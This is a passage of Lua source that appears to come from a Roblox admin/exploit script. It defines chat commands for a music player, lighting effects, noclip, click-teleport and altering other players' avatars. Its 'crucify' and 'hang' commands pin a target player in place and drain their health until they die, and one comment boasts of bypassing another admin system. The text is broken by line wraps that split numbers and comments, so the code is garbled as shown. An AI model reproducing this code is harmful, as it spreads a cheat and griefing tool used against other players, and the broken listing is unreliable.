adminSound = Instance.new("Sound",workspace)
adminSound.Name = "IYsound"
adminSound.Looped = true
end
local idlist = splitString(args[1])
local workingIds = {}
for i,v in pairs(idlist) do if tonumber(v) then
table.insert(workingIds,tonumber(v)) end end
if #workingIds > 0 then
playerenabled = true
NOTIFY.NOTIFY:TweenPosition(UDim2.new(0,0,0,-100), "InOut",
"Quart", 0.5, true, nil)
MusicPlayer:Playlist(workingIds)
MusicPlayer:Show() if qopen == true then
quickmenu.sheild.cmds:TweenPosition(UDim2.new(0, 50, 0, -50), "InOut", "Quart",
0.5, true, nil) wait(0.01)
quickmenu.sheild.settings:TweenPosition(UDim2.new(0, 146, 0, -
50), "InOut", "Quart", 0.5, true, nil) wait(0.01)
quickmenu.sheild.updates:TweenPosition(UDim2.new(0, 220, 0, -50),
"InOut", "Quart", 0.5, true, nil) wait(0.01)
quickmenu.sheild.info:TweenPosition(UDim2.new(0, 290, 0, -50),
"InOut", "Quart", 0.5, true, nil) wait(0.01)
quickmenu.sheild.mix:TweenPosition(UDim2.new(0, 340, 0, -50),
"InOut", "Quart", 0.5, true, nil) wait(0.01) qopen = false end end
else MusicPlayer:Show() NOTIFY.NOTIFY:TweenPosition(UDim2.new(0,0,0,-
100), "InOut", "Quart", 0.5, true, nil) if qopen == true then
quickmenu.sheild.cmds:TweenPosition(UDim2.new(0, 50, 0, -50), "InOut", "Quart",
0.5, true, nil) wait(0.01)
quickmenu.sheild.settings:TweenPosition(UDim2.new(0, 146, 0, -
50), "InOut", "Quart", 0.5, true, nil) wait(0.01)
quickmenu.sheild.updates:TweenPosition(UDim2.new(0, 220, 0, -50),
"InOut", "Quart", 0.5, true, nil) wait(0.01) playerenabled = true
quickmenu.sheild.info:TweenPosition(UDim2.new(0, 290, 0, -50),
"InOut", "Quart", 0.5, true, nil) wait(0.01)
quickmenu.sheild.mix:TweenPosition(UDim2.new(0, 340, 0, -50),
"InOut", "Quart", 0.5, true, nil) wait(0.01) qopen = false end end end)
addcmd('setsong','goto a song',{'tosong'},
function(args, speaker)
MusicPlayer:SetSong(tonumber(args[1]))
end)
addcmd('nextsong','forward a song',{'nxtsong'},
function(args, speaker)
MusicPlayer:NextSong()
end)
addcmd('prevsong','back a song',{'previoussong'},
function(args, speaker)
MusicPlayer:PrevSong()
end)
addcmd('hideplaylist','back a song',{'unplayer','noplayer','hideplayer'},
function(args, speaker)
playerenabled = false
MusicPlayer:Hide()
NOTIFY.NOTIFY:TweenPosition(UDim2.new(0, 0, 0, -38), "InOut", "Quart", 0.5, true,
nil)
end)
addcmd('disco','disco party',{''},
function(args, speaker)
_G.nodisco = nil
coroutine.resume(coroutine.create(function()
repeat
game:GetService('Lighting').GlobalShadows = true
game:GetService('Lighting').FogEnd = 200
game:GetService('Lighting').TimeOfDay = 0
local r = 255
local g = 0
local b = 0
for i = 0,255,5 do
if _G.nodisco ~=nil then return end
r = r - 5
b = b + 5
game:GetService('Lighting').Ambient = Color3.fromRGB(r,g,b)
game:GetService('Lighting').OutdoorAmbient = Color3.fromRGB(r,g,b)
game:GetService('Lighting').FogColor = Color3.fromRGB(r,g,b)
wait()
end
for i = 0,255,5 do
if _G.nodisco ~=nil then return end
g = g + 5
game:GetService('Lighting').Ambient = Color3.fromRGB(r,g,b)
game:GetService('Lighting').OutdoorAmbient = Color3.fromRGB(r,g,b)
game:GetService('Lighting').FogColor = Color3.fromRGB(r,g,b)
wait()
end
for i = 0,255,5 do
if _G.nodisco ~=nil then return end
b = b - 5
game:GetService('Lighting').Ambient = Color3.fromRGB(r,g,b)
game:GetService('Lighting').OutdoorAmbient = Color3.fromRGB(r,g,b)
game:GetService('Lighting').FogColor = Color3.fromRGB(r,g,b)
wait()
end
for i = 0,255,5 do
if _G.nodisco ~=nil then return end
r = r + 5
game:GetService('Lighting').Ambient = Color3.fromRGB(r,g,b)
game:GetService('Lighting').OutdoorAmbient = Color3.fromRGB(r,g,b)
game:GetService('Lighting').FogColor = Color3.fromRGB(r,g,b)
wait()
end
for i = 0,255,5 do
if _G.nodisco ~=nil then return end
g = g - 5
game:GetService('Lighting').Ambient = Color3.fromRGB(r,g,b)
game:GetService('Lighting').OutdoorAmbient = Color3.fromRGB(r,g,b)
game:GetService('Lighting').FogColor = Color3.fromRGB(r,g,b)
wait()
end
until _G.nodisco
end))
end)
fm = Instance.new('BlockMesh', DATA)
fm.Scale = Vector3.new(1, 1, 2)
fm.Name = "FAT"
addcmd('fat','makes a plr fat',{''},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local char = gPlayers[v].Character
for _, child in pairs( char:GetChildren()) do
if child.ClassName == "CharacterMesh" then
child:Destroy() end end
for i,v in pairs(char:GetChildren()) do
if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
fm:Clone().Parent = v
end end end end)
addcmd('crucify','crucifies a player',{'cruci'},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local char = gPlayers[v].Character
local torso=char['Torso']
local larm=char['Left Arm']
local rarm=char['Right Arm']
local lleg=char['Left Leg']
local rleg=char['Right Leg']
local head=char['Head']
if torso and larm and rarm and lleg and rleg and head and not
char:FindFirstChild(char.Name..'epixcrusify') then
local cru=Instance.new('Model',char)
cru.Name=char.Name..'epixcrusify' -- Leave it like that so it
bypasses epixcommands ;)
local c1=Instance.new('Part',cru)
c1.BrickColor=BrickColor.new('Reddish brown')
c1.Material='Wood'
c1.CFrame=(char.Torso.CFrame-
char.Torso.CFrame.lookVector)*CFrame.new(0,0,2)
c1.Size=Vector3.new(2,18.4,1)
c1.Anchored=true
local c2=c1:Clone()
c2.Parent=cru
c2.Size=Vector3.new(11,1.6,1)
c2.CFrame=c1.CFrame+Vector3.new(0,5,0)
torso.Anchored=true;wait(0.5)
torso.CFrame=c2.CFrame+torso.CFrame.lookVector+Vector3.new(0,-
1,0);wait(0.5)
larm.Anchored=true
rarm.Anchored=true
lleg.Anchored=true
rleg.Anchored=true
head.Anchored=true;wait()
larm.CFrame=torso.CFrame*CFrame.new(-1.5,1,0)
rarm.CFrame=torso.CFrame*CFrame.new(1.5,1,0)
lleg.CFrame=torso.CFrame*CFrame.new(-0.1,-1.7,0)
rleg.CFrame=torso.CFrame*CFrame.new(0.1,-1.7,0)
larm.CFrame=larm.CFrame*CFrame.Angles(0,0,-140)
rarm.CFrame=rarm.CFrame*CFrame.Angles(0,0,140)
lleg.CFrame=lleg.CFrame*CFrame.Angles(0,0,0.6)
rleg.CFrame=rleg.CFrame*CFrame.Angles(0,0,-0.6)
--head.CFrame=head.CFrame*CFrame.Angles(0,0,0.3)
local n1=Instance.new('Part',cru)
n1.BrickColor=BrickColor.new('Dark stone grey')
n1.Material='DiamondPlate'
n1.Size=Vector3.new(0.2,0.2,2)
n1.Anchored=true
local m=Instance.new('BlockMesh',n1)
m.Scale=Vector3.new(0.2,0.2,0.7)
local n2=n1:Clone()
n2.Parent=cru
local n3=n1:Clone()
n3.Parent=cru
n1.CFrame=(c2.CFrame+torso.CFrame.lookVector)*CFrame.new(2,0,0)
n2.CFrame=(c2.CFrame+torso.CFrame.lookVector)*CFrame.new(-2,0,0)
n3.CFrame=(c2.CFrame+torso.CFrame.lookVector)*CFrame.new(0,-3,0)
spawn(function()
repeat
wait(0.1)
char.Humanoid.Health=char.Humanoid.Health-0.6
until (not cru) or (not cru.Parent) or (not v) or (not
char) or (not char:FindFirstChild('Head')) or char.Humanoid.Health<=0
char:BreakJoints()
end)
end
end
end)
addcmd('hang','hangs a player',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local plr = gPlayers[v].Character
plr.HumanoidRootPart.Anchored = true
function sandbox(var,func)
local env = getfenv(func)
local newenv = setmetatable({},{
__index = function(self,k)
if k=="script" then
return var
else
return env[k]
end
end,
})
setfenv(func,newenv)
return func
end
cors = {}
mas = Instance.new("Model",game:GetService("Lighting"))
local Model0 = Instance.new("Model")
local Part1 = Instance.new("Part")
local Part2 = Instance.new("Part")
local Part3 = Instance.new("Part")
local Part4 = Instance.new("Part")
local Part5 = Instance.new("Part")
local Motor6D6 = Instance.new("Motor6D")
local Part7 = Instance.new("Part")
local Part8 = Instance.new("Part")
local Part9 = Instance.new("Part")
local Part10 = Instance.new("Part")
local Part11 = Instance.new("Part")
local Part12 = Instance.new("Part")
local Part13 = Instance.new("Part")
local Part14 = Instance.new("Part")
local Part15 = Instance.new("Part")
Model0.Name = "hang"
Model0.Parent = mas
Part1.Parent = Model0
Part1.Material = Enum.Material.SmoothPlastic
Part1.BrickColor = BrickColor.new("Reddish brown")
Part1.Anchored = true
Part1.Size = Vector3.new(0.200000003, 0.200000003, 0.600000024)
Part1.CFrame = CFrame.new(1.539994, 9.29992199, 12.6999884, 1, 0, 0, 0, 1, 0, 0, 0,
1)
Part1.BackSurface = Enum.SurfaceType.SmoothNoOutlines
Part1.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
Part1.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
Part1.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
Part1.RightSurface = Enum.SurfaceType.SmoothNoOutlines
Part1.TopSurface = Enum.SurfaceType.SmoothNoOutlines
Part1.Color = Color3.new(0.411765, 0.25098, 0.156863)
Part1.Position = Vector3.new(1.539994, 9.29992199, 12.6999884)
Part1.Color = Color3.new(0.411765, 0.25098, 0.156863)
Part2.Parent = Model0
Part2.Material = Enum.Material.Wood
Part2.BrickColor = BrickColor.new("Pine Cone")
Part2.Anchored = true
Part2.Size = Vector3.new(0.49999997, 0.200000003, 0.200000003)
Part2.CFrame = CFrame.new(1.44999003, 9.09992599, 12.6999884, 1, 0, 0, 0, 1, 0, 0,
0, 1)
Part2.BackSurface = Enum.SurfaceType.SmoothNoOutlines
Part2.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
Part2.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
Part2.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
Part2.RightSurface = Enum.SurfaceType.SmoothNoOutlines
Part2.TopSurface = Enum.SurfaceType.SmoothNoOutlines
Part2.Color = Color3.new(0.423529, 0.345098, 0.294118)
Part2.Position = Vector3.new(1.44999003, 9.09992599, 12.6999884)
Part2.Color = Color3.new(0.423529, 0.345098, 0.294118)
Part3.Parent = Model0
Part3.Material = Enum.Material.Wood
Part3.BrickColor = BrickColor.new("Pine Cone")
Part3.Anchored = true
Part3.Size = Vector3.new(1, 9.39999962, 0.599999964)
Part3.CFrame = CFrame.new(-0.100001998, 4.70001078, 12.6999884, 1, 0, 0, 0, 1, 0,
0, 0, 1)
Part3.BackSurface = Enum.SurfaceType.SmoothNoOutlines
Part3.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
Part3.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
Part3.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
Part3.RightSurface = Enum.SurfaceType.SmoothNoOutlines
Part3.TopSurface = Enum.SurfaceType.SmoothNoOutlines
Part3.Color = Color3.new(0.423529, 0.345098, 0.294118)
Part3.Position = Vector3.new(-0.100001998, 4.70001078, 12.6999884)
Part3.Color = Color3.new(0.423529, 0.345098, 0.294118)
Part4.Parent = Model0
Part4.Material = Enum.Material.Wood
Part4.BrickColor = BrickColor.new("Pine Cone")
Part4.Anchored = true
Part4.Size = Vector3.new(1, 0.599999845, 0.599999964)
Part4.CFrame = CFrame.new(0.899998009, 9.09995365, 12.6999884, 1, 0, 0, 0, 1, 0, 0,
0, 1)
Part4.BackSurface = Enum.SurfaceType.SmoothNoOutlines
Part4.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
Part4.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
Part4.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
Part4.RightSurface = Enum.SurfaceType.SmoothNoOutlines
Part4.TopSurface = Enum.SurfaceType.SmoothNoOutlines
Part4.Color = Color3.new(0.423529, 0.345098, 0.294118)
Part4.Position = Vector3.new(0.899998009, 9.09995365, 12.6999884)
Part4.Color = Color3.new(0.423529, 0.345098, 0.294118)
Part5.Name = "main"
Part5.Parent = Model0
Part5.BrickColor = BrickColor.new("Bright blue")
Part5.Transparency = 1
Part5.Rotation = Vector3.new(0, -90, 0)
Part5.Anchored = true
Part5.CanCollide = false
Part5.FormFactor = Enum.FormFactor.Symmetric
Part5.Size = Vector3.new(2, 2, 1)
Part5.CFrame = CFrame.new(1.98998594, 6.33001804, 12.7000237, 0, 0, -1, 0, 1, 0, 1,
0, 0)
Part5.BottomSurface = Enum.SurfaceType.Smooth
Part5.TopSurface = Enum.SurfaceType.Smooth
Part5.Color = Color3.new(0.0509804, 0.411765, 0.67451)
Part5.Position = Vector3.new(1.98998594, 6.33001804, 12.7000237)
Part5.Orientation = Vector3.new(0, -90, 0)
Part5.Color = Color3.new(0.0509804, 0.411765, 0.67451)
Motor6D6.Name = "RootJoint"
Motor6D6.Parent = Part5
Motor6D6.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Motor6D6.C1 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Motor6D6.Part0 = Part5
Motor6D6.MaxVelocity = 0.10000000149012
Part7.Parent = Model0
Part7.Material = Enum.Material.SmoothPlastic
Part7.BrickColor = BrickColor.new("Reddish brown")
Part7.Rotation = Vector3.new(90, 75, -180)
Part7.Anchored = true
Part7.Size = Vector3.new(0.200000003, 0.200000003, 0.800000012)
Part7.CFrame = CFrame.new(2.02295995, 7.37058878, 12.1000061, -0.258818984, 0,
0.965925872, -0.965925872, 0, -0.258818984, 0, -1, 0)
Part7.BackSurface = Enum.SurfaceType.SmoothNoOutlines
Part7.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
Part7.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
Part7.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
Part7.RightSurface = Enum.SurfaceType.SmoothNoOutlines
Part7.TopSurface = Enum.SurfaceType.SmoothNoOutlines
Part7.Color = Color3.new(0.411765, 0.25098, 0.156863)
Part7.Position = Vector3.new(2.02295995, 7.37058878, 12.1000061)
Part7.Orientation = Vector3.new(15, 90, -90)
Part7.Color = Color3.new(0.411765, 0.25098, 0.156863)
Part8.Parent = Model0
Part8.Material = Enum.Material.Wood
Part8.BrickColor = BrickColor.new("Pine Cone")
Part8.Anchored = true
Part8.Size = Vector3.new(0.200000003, 0.599999785, 0.599999964)
Part8.CFrame = CFrame.new(1.77999604, 9.09992599, 12.6999884, 1, 0, 0, 0, 1, 0, 0,
0, 1)
Part8.BackSurface = Enum.SurfaceType.SmoothNoOutlines
Part8.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
Part8.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
Part8.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
Part8.RightSurface = Enum.SurfaceType.SmoothNoOutlines
Part8.TopSurface = Enum.SurfaceType.SmoothNoOutlines
Part8.Color = Color3.new(0.423529, 0.345098, 0.294118)
Part8.Position = Vector3.new(1.77999604, 9.09992599, 12.6999884)
Part8.Color = Color3.new(0.423529, 0.345098, 0.294118)
Part9.Parent = Model0
Part9.Material = Enum.Material.SmoothPlastic
Part9.BrickColor = BrickColor.new("Reddish brown")
Part9.Rotation = Vector3.new(90, 75, -180)
Part9.Anchored = true
Part9.Size = Vector3.new(0.200000003, 0.200000003, 0.800000012)
Part9.CFrame = CFrame.new(2.02295995, 7.37058878, 13.299984, -0.258818984, 0,
0.965925872, -0.965925872, 0, -0.258818984, 0, -1, 0)
Part9.BackSurface = Enum.SurfaceType.SmoothNoOutlines
Part9.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
Part9.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
Part9.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
Part9.RightSurface = Enum.SurfaceType.SmoothNoOutlines
Part9.TopSurface = Enum.SurfaceType.SmoothNoOutlines
Part9.Color = Color3.new(0.411765, 0.25098, 0.156863)
Part9.Position = Vector3.new(2.02295995, 7.37058878, 13.299984)
Part9.Orientation = Vector3.new(15, 90, -90)
Part9.Color = Color3.new(0.411765, 0.25098, 0.156863)
Part10.Parent = Model0
Part10.Material = Enum.Material.SmoothPlastic
Part10.BrickColor = BrickColor.new("Reddish brown")
Part10.Anchored = true
Part10.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
Part10.CFrame = CFrame.new(1.539994, 9.09992599, 12.8999901, 1, 0, 0, 0, 1, 0, 0,
0, 1)
Part10.BackSurface = Enum.SurfaceType.SmoothNoOutlines
Part10.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
Part10.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
Part10.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
Part10.RightSurface = Enum.SurfaceType.SmoothNoOutlines
Part10.TopSurface = Enum.SurfaceType.SmoothNoOutlines
Part10.Color = Color3.new(0.411765, 0.25098, 0.156863)
Part10.Position = Vector3.new(1.539994, 9.09992599, 12.8999901)
Part10.Color = Color3.new(0.411765, 0.25098, 0.156863)
Part11.Parent = Model0
Part11.Material = Enum.Material.SmoothPlastic
Part11.BrickColor = BrickColor.new("Reddish brown")
Part11.Anchored = true
Part11.Size = Vector3.new(0.200000003, 1.4000001, 0.200000003)
Part11.CFrame = CFrame.new(1.539994, 8.09998417, 12.6999884, 1, 0, 0, 0, 1, 0, 0,
0, 1)
Part11.BackSurface = Enum.SurfaceType.SmoothNoOutlines
Part11.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
Part11.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
Part11.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
Part11.RightSurface = Enum.SurfaceType.SmoothNoOutlines
Part11.TopSurface = Enum.SurfaceType.SmoothNoOutlines
Part11.Color = Color3.new(0.411765, 0.25098, 0.156863)
Part11.Position = Vector3.new(1.539994, 8.09998417, 12.6999884)
Part11.Color = Color3.new(0.411765, 0.25098, 0.156863)
Part12.Parent = Model0
Part12.Material = Enum.Material.SmoothPlastic
Part12.BrickColor = BrickColor.new("Reddish brown")
Part12.Rotation = Vector3.new(90, 75, -180)
Part12.Anchored = true
Part12.Size = Vector3.new(0.200000003, 1.4000001, 0.200000003)
Part12.CFrame = CFrame.new(2.50592208, 7.24118423, 12.6999884, -0.258818984, 0,
0.965925872, -0.965925872, 0, -0.258818984, 0, -1, 0)
Part12.BackSurface = Enum.SurfaceType.SmoothNoOutlines
Part12.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
Part12.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
Part12.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
Part12.RightSurface = Enum.SurfaceType.SmoothNoOutlines
Part12.TopSurface = Enum.SurfaceType.SmoothNoOutlines
Part12.Color = Color3.new(0.411765, 0.25098, 0.156863)
Part12.Position = Vector3.new(2.50592208, 7.24118423, 12.6999884)
Part12.Orientation = Vector3.new(15, 90, -90)
Part12.Color = Color3.new(0.411765, 0.25098, 0.156863)
Part13.Parent = Model0
Part13.Material = Enum.Material.SmoothPlastic
Part13.BrickColor = BrickColor.new("Reddish brown")
Part13.Anchored = true
Part13.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
Part13.CFrame = CFrame.new(1.539994, 9.09992599, 12.4999962, 1, 0, 0, 0, 1, 0, 0,
0, 1)
Part13.BackSurface = Enum.SurfaceType.SmoothNoOutlines
Part13.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
Part13.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
Part13.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
Part13.RightSurface = Enum.SurfaceType.SmoothNoOutlines
Part13.TopSurface = Enum.SurfaceType.SmoothNoOutlines
Part13.Color = Color3.new(0.411765, 0.25098, 0.156863)
Part13.Position = Vector3.new(1.539994, 9.09992599, 12.4999962)
Part13.Color = Color3.new(0.411765, 0.25098, 0.156863)
Part14.Parent = Model0
Part14.Material = Enum.Material.SmoothPlastic
Part14.BrickColor = BrickColor.new("Reddish brown")
Part14.Rotation = Vector3.new(90, 75, -180)
Part14.Anchored = true
Part14.Size = Vector3.new(0.200000003, 1.4000001, 0.200000003)
Part14.CFrame = CFrame.new(1.539994, 7.49999714, 12.6999884, -0.258818984, 0,
0.965925872, -0.965925872, 0, -0.258818984, 0, -1, 0)
Part14.BackSurface = Enum.SurfaceType.SmoothNoOutlines
Part14.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
Part14.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
Part14.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
Part14.RightSurface = Enum.SurfaceType.SmoothNoOutlines
Part14.TopSurface = Enum.SurfaceType.SmoothNoOutlines
Part14.Color = Color3.new(0.411765, 0.25098, 0.156863)
Part14.Position = Vector3.new(1.539994, 7.49999714, 12.6999884)
Part14.Orientation = Vector3.new(15, 90, -90)
Part14.Color = Color3.new(0.411765, 0.25098, 0.156863)
Part15.Parent = Model0
Part15.Material = Enum.Material.SmoothPlastic
Part15.BrickColor = BrickColor.new("Reddish brown")
Part15.Anchored = true
Part15.Size = Vector3.new(0.200000003, 0.200000003, 0.600000024)
Part15.CFrame = CFrame.new(1.539994, 8.89993, 12.6999884, 1, 0, 0, 0, 1, 0, 0, 0,
1)
Part15.BackSurface = Enum.SurfaceType.SmoothNoOutlines
Part15.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
Part15.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
Part15.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
Part15.RightSurface = Enum.SurfaceType.SmoothNoOutlines
Part15.TopSurface = Enum.SurfaceType.SmoothNoOutlines
Part15.Color = Color3.new(0.411765, 0.25098, 0.156863)
Part15.Position = Vector3.new(1.539994, 8.89993, 12.6999884)
Part15.Color = Color3.new(0.411765, 0.25098, 0.156863)
for i,v in pairs(mas:GetChildren()) do
v.Parent = workspace
pcall(function() v:MakeJoints() end)
end
mas:Destroy()
for i,v in pairs(cors) do
spawn(function()
pcall(v)
end)
end
hang = Model0
hang.Parent = plr
hang:MoveTo(plr.Torso.Position-Vector3.new(0,0,5))
pcall(function()
plr.HumanoidRootPart.CFrame = hang.main.CFrame
function weld(p, cf)
local weld1 = Instance.new("Weld")
weld1.Part0 = p
weld1.Part1 = plr.Torso
weld1.C0 = CFrame.new()
weld1.C1 = cf
weld1.Parent = p
end
weld(plr["Right Arm"], CFrame.new(0.8,0.3,-0.6) *
CFrame.Angles(0, 0.5, 4))
weld(plr["Left Arm"], CFrame.new(-0.8,0.3,-0.6) *
CFrame.Angles(0, -0.5, -4))
spawn(function()
repeat
wait(0.1)
plr.Humanoid.Health=plr.Humanoid.Health-0.6
until (not hang) or (not hang.Parent) or (not v) or (not
plr) or (not plr:FindFirstChild('Head')) or plr.Humanoid.Health<=0
plr:BreakJoints()
end)
end)
end
end)
Floating = false
addcmd('unfloat','disables floating',{},
function(args, speaker)
Floating = false
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
if pchar:FindFirstChild("Float") then
pchar.Float:Destroy()
end
end
end)
runningnoclip = false
Clip = true
addcmd('noclip','noclip',{},
function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker)
else
Notify('Noclip enabled')
Clip = false
if LP.Character:FindFirstChild('Torso') then
wait(0.1)
if runningnoclip == false then runningnoclip = true
game:GetService('RunService').Stepped:connect(function ()
if Clip == false and LP.Character ~= nil then
for _, child in pairs( LP.Character:GetDescendants()) do
if child.ClassName == 'Part' and child.CanCollide == true then
child.CanCollide = false
end end end end) end
else
r15noclip = true
end
end
end)
addcmd('clip','clip',{},
function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker)
else
Notify('Noclip disabled')
Clip = true
r15noclip = false
wait(0.1)
if LP.Character ~= nil then
LP.Character.Torso.CanCollide = true
LP.Character.Head.CanCollide = true
end end end)
addcmd('prefix','changes prefix',{},
function(args, speaker)
cmdprefix = args[1]
Notify('Set prefix to "' .. args[1] .. '"')
updatefile()
end)
logsopen = false
addcmd('logs','shows logs',{},
function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker) else
if logsopen == false then logsopen = true
logdrag:TweenPosition(UDim2.new(0.5, -225, 0, 100), "InOut", "Quart", 0.5, true,
nil)
end
end
end)
local Saved = {}
RestorePoint = function()
Saved = {}
for i, v in pairs(game:GetService("Workspace"):GetDescendants()) do
v.Archivable = true;
end
for i, v in pairs(game:GetService("Workspace"):GetChildren()) do
if not v:IsA("Terrain") and not v:IsA("Camera") then
if not game:GetService("Players"):FindFirstChild(v.Name) then
table.insert(Saved, v:Clone());
end
elseif v:IsA("Terrain") then
Saved.Terrain =
game:GetService("Workspace").Terrain:CopyRegion(game:GetService("Workspace").Terrai
n.MaxExtents);
end
end
return Saved;
end
InsertPoint = function()
if #Saved == 0 and not Saved.Terrain then
return false;
end
for i, v in pairs(game:GetService("Workspace"):GetChildren()) do
if not v:IsA("Camera") and not v:IsA("Terrain") then
if not game:GetService("Players"):FindFirstChild(v.Name) then
pcall(function()
v:Destroy()
end)
end
elseif v:IsA("Terrain") then
v:Clear()
end
end
for i, v in ipairs(Saved) do
v:Clone().Parent = workspace;
end
game:GetService("Workspace").Terrain:PasteRegion(Saved.Terrain,
game:GetService("Workspace").Terrain.MaxExtents.Min, true);
end
addcmd('respawn','respawns',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
respawn(gPlayers[v])
end
end)
addcmd('version','shows version',{''},
function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker)
else
Notify("Version is " .. Version)
end
end)
local CTPenabled = false
Mouse.KeyDown:connect(function (Key)
if Key:byte() == 29 then
if FLYING == false then
execCmd("fly me", Player)
elseif FLYING == true then
execCmd("unfly me", Player)
end
end
if Key:byte() == 30 then
if Clip == true then
execCmd("noclip", Player)
elseif Clip == false then
execCmd("clip", Player)
end
end
Key = Key:lower()
if Key:byte() == 27 then
CTPenabled = true
end
end)
Mouse.KeyUp:connect(function(Key)
Key = Key:lower()
if Key:byte() == 27 then
CTPenabled = false
end
end)
Mouse.Button1Down:connect(function()
local charx = gPlayers.LocalPlayer.Character
if charx and CTPenabled == true then
charx.HumanoidRootPart.CFrame = Mouse.Hit + Vector3.new(0,7,0)
end
end)
addcmd('ayylmao','ayy lmao',{'alien'},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
if pchar:FindFirstChild("Shirt") then
pchar.Shirt:Destroy()
end
if pchar:FindFirstChild("Pants") then
pchar.Pants:Destroy()
end
if pchar:FindFirstChild("Shirt Graphic") then
pchar["Shirt Graphic"].Graphic = ""
end
for i,v in pairs(pchar:GetChildren()) do
if v:IsA("Accessory") then
v:Destroy()
end
end
local ayylmao = DATA.ayylmao:Clone()
ayylmao.Parent = pchar
local BC = pchar["Body Colors"]
BC.HeadColor = BrickColor.new("Fossil")
BC.LeftArmColor = BrickColor.new("Fossil")
BC.LeftLegColor = BrickColor.new("Fossil")
BC.RightArmColor = BrickColor.new("Fossil")
BC.RightLegColor = BrickColor.new("Fossil")
BC.TorsoColor = BrickColor.new("Fossil")
end
end)
HKFolder = Instance.new("Folder", game.CoreGui)
for i,v in pairs(HK) do
local HKValue = Instance.new("StringValue", HKFolder)
HKValue.Value = v
HKValue.RobloxLocked = true
end
CMDsFolder = Instance.new("Folder", game.CoreGui)
for i,v in pairs(CMDs) do
local CMDsValue = Instance.new("StringValue", CMDsFolder)
CMDsValue.Value = v
CMDsValue.RobloxLocked = true
end
cmdOpen = false
function commands()
if cmdOpen == false then
cmdOpen = true
local cmds = cp:Clone()
cmds.Parent = game.CoreGui
local HKV = HKFolder:GetChildren()
local CMDsV = CMDsFolder:GetChildren()
dragGUI(cmds.Frame)
cmds.Frame.holder:TweenSize(UDim2.new(0,300,0,0),"Out","Quad",0.01,true)
wait(0.01)
cmds.Frame.holder.FeedbackMain:TweenPosition(UDim2.new(1.02,0,1.018,-
310),"Out","Quad",0.2,true) wait(0.1)
cmds.Frame.holder.size:TweenPosition(UDim2.new(1,-301,1,-
300),"Out","Quad",0.2,true)
SettingsGUI = game.CoreGui.cp.Frame.holder if Nfriends == true then
SettingsGUI.FeedbackMain.friends.BorderColor3 = Color3.new(1,1,1)
SettingsGUI.FeedbackMain.everyone.BorderColor3 = Color3.new(0,0,0) elseif Nfriends
== false then
SettingsGUI.FeedbackMain.friends.BorderColor3 = Color3.new(0,0,0)
SettingsGUI.FeedbackMain.everyone.BorderColor3 = Color3.new(1,1,1)
end
--joined/left friend option
SettingsGUI.FeedbackMain.friends.MouseButton1Click:connect(function()
SettingsGUI.FeedbackMain.friends.BorderColor3 = Color3.new(1,1,1)
SettingsGUI.FeedbackMain.everyone.BorderColor3 = Color3.new(0,0,0)
Nfriends = true updatefile()
end)
SettingsGUI.FeedbackMain.everyone.MouseButton1Click:connect(function()
SettingsGUI.FeedbackMain.friends.BorderColor3 = Color3.new(0,0,0)
SettingsGUI.FeedbackMain.everyone.BorderColor3 = Color3.new(1,1,1)
Nfriends = false updatefile()
end)
-- Color mixer
SettingsGUI.FeedbackMain.openC.MouseButton1Click:Connect(function()
picker.ColorPicker.Visible = true picker.ColorPicker:TweenPosition(UDim2.new(0.5, -
219, 0, 100), "InOut", "Quart", 0.5, true, nil)
end)
--Message time
SettingsGUI.FeedbackMain.setMT.MouseButton1Click:Connect(function()
wait()
Mseconds = SettingsGUI.FeedbackMain.MtimeInput.Input.Text
Notify('Set message time to
